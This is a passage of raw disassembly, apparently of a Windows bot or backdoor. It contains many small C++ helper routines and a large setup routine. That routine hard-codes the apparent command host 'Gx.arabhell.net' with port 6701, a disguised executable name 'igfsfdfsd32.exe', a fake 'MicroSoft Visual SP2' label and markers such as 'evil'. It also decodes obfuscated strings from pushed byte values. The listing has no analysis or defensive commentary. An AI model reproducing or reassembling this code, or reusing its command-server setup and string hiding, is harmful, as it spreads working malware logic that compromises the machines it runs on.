sub_407080	proc near		; CODE XREF: sub_4020BDj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_40156E
sub_407080	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43F00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407100	proc near		; CODE XREF: sub_40159Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015E1
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014EC
sub_407100	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407140	proc near		; CODE XREF: sub_401B04j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AD7
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40162C
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jz	short loc_4071BB
		mov	edi, [esp+10h+arg_0]


loc_407183:				; CODE XREF: sub_407140+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401749
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_4071C5
		call	sub_401F28
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jnz	short loc_407183


loc_4071BB:				; CODE XREF: sub_407140+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_4071C5:				; CODE XREF: sub_407140+5Aj
		call	sub_401749
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_407140	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407210	proc near		; CODE XREF: sub_40221Bj
		xor	al, al
		retn	4
sub_407210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407230	proc near		; CODE XREF: sub_40156Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_407230	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407270	proc near		; CODE XREF: sub_40162Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4021A8
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_407270	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072B0	proc near		; CODE XREF: sub_4021DFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_4072B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4072E0	proc near		; CODE XREF: sub_4014ECj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021DF
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_4072E0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407320	proc near		; CODE XREF: sub_401AD7j
		push	esi
		mov	esi, ecx
		call	sub_401B77
		mov	eax, esi
		pop	esi
		retn
sub_407320	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_401749j
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_407340	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407360	proc near		; CODE XREF: sub_401F28j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407360	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407390	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FBE
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407390	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4073C0	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C9E
		mov	edi, eax
		push	edi
		call	sub_401C6C
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_4073C0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C6C
		push	edi
		mov	[eax], ebx
		call	sub_401C6C
		mov	edi, [eax]
		push	edi
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_40167C
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407460	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019D8
sub_407460	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407475
		mov	edi, esi


loc_407475:				; CODE XREF: ___:00407471j
		push	esi
		call	sub_401A96
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40748A
		mov	edi, esi


loc_40748A:				; CODE XREF: ___:00407486j
		push	esi
		call	sub_401C6C
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074B0	proc near		; CODE XREF: sub_401A96j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_4074B0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074D0	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4074D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401B77j
		mov	eax, ecx
		retn
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407510	proc near		; CODE XREF: sub_4021A8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_407510	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407540	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_407540	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407570	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407590	proc near		; CODE XREF: sub_4019D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_407590	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_40167Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075F0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075F0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_401C9Ej
		mov	eax, [ecx]
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407630	proc near		; CODE XREF: sub_401D2Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40763A
		xor	eax, eax


loc_40763A:				; CODE XREF: sub_407630+6j
		push	eax
		call	sub_437AEA
sub_407630	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407660	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40767B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40767B:				; CODE XREF: sub_407660+11j
		retn
sub_407660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407690	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407690	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076B0	proc near		; CODE XREF: sub_401B40j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076B0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017EE
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_44ACD6
		call	sub_401B72
sub_4076B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407740	proc near		; CODE XREF: sub_401CD5j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407740
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017EE
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_44ACD6
		call	sub_401B72
sub_407740	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4077E0	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_114		= byte ptr -114h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4077E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_2C4]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2DC]
		mov	[esp+35Ch+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_174]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1A4]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_40142E
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_18C]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_144]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1BC]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_40142E
		mov	ebx, 1Eh
		push	offset aGx_arabhell_ne ; "Gx.arabhell.net"
		lea	ecx, [esp+360h+var_2C4]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A9B
		push	offset a6701	; "6701"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A9B
		push	offset byte_448F30
		lea	ecx, [esp+360h+var_144]
		call	sub_401A9B
		lea	eax, [esp+35Ch+var_2C4]
		lea	ecx, [esp+35Ch+var_174]
		push	eax
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_2DC]
		push	ecx
		lea	ecx, [esp+360h+var_1A4]
		call	sub_40202C
		push	offset byte_448F30
		lea	ecx, [esp+360h+var_1BC]
		call	sub_401A9B
		push	offset aM_0	; "##m##"
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A9B
		push	offset aM	; "##m"
		lea	ecx, [esp+360h+var_24C]
		call	sub_401A9B
		push	offset aXkey	; "Xkey"
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A9B
		push	offset aIgfsfdfsd32_ex ; "igfsfdfsd32.exe"
		lea	ecx, [esp+360h+var_1D4]
		call	sub_401A9B
		push	offset aAyssds4ddklfsd ; "ayssds4ddklfsdf"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A9B
		push	offset asc_444834 ; "X-"
		lea	ecx, [esp+360h+var_294]
		call	sub_401A9B
		push	offset aSet	; "set"
		lea	ecx, [esp+360h+var_234]
		call	sub_401A9B
		push	0
		push	4Ah
		push	20h
		push	48h
		push	1Ch
		push	4Bh
		push	46h
		push	4Ah
		push	46h
		push	47h
		push	4Ch
		push	1Fh
		push	48h
		push	1Fh
		push	ebx
		push	1Bh
		push	1Dh
		push	47h
		push	4Bh
		push	47h
		push	ebx
		push	45h
		push	46h
		push	4Ah
		push	48h
		push	ebx
		push	1Dh
		push	1Ch
		push	4Ah
		push	20h
		push	4Ch
		push	4Dh
		lea	edx, [esp+3DCh+var_348]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 88h
		push	eax
		lea	ecx, [esp+360h+var_264]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	offset aFeeling_nasty ;	"feeling.nasty"
		lea	ecx, [esp+360h+var_E4]
		call	sub_401A9B
		push	offset aEvil	; "evil"
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A9B
		push	offset aMicrosoftVisua ; "MicroSoft Visual SP2"
		lea	ecx, [esp+360h+var_114]
		call	sub_401A9B
		push	offset dword_4447F8
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A9B
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	eax, [esp+384h+var_348]
		push	46h
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_18C]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	0Dh
		push	0Fh
		push	3
		push	4Fh
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	4Fh
		push	46h
		push	47h
		push	0Dh
		push	5
		push	14h
		push	13h
		push	19h
		lea	ecx, [esp+3B4h+var_348]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 60h
		push	eax
		lea	ecx, [esp+360h+var_1EC]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_CC]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		push	46h
		lea	ecx, [esp+36Ch+var_348]
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	eax, [esp+36Ch+var_348]
		push	14h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	ecx, [esp+370h+var_348]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 27h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2F4]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		mov	byte ptr [esp+394h+var_4], 28h
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+3D0h+var_348]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 29h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0FECh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+390h+var_4], 2Ah
		call	sub_401CD5
sub_4077E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 2Bh
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Ch
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1035h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 2Dh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 2Eh
		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
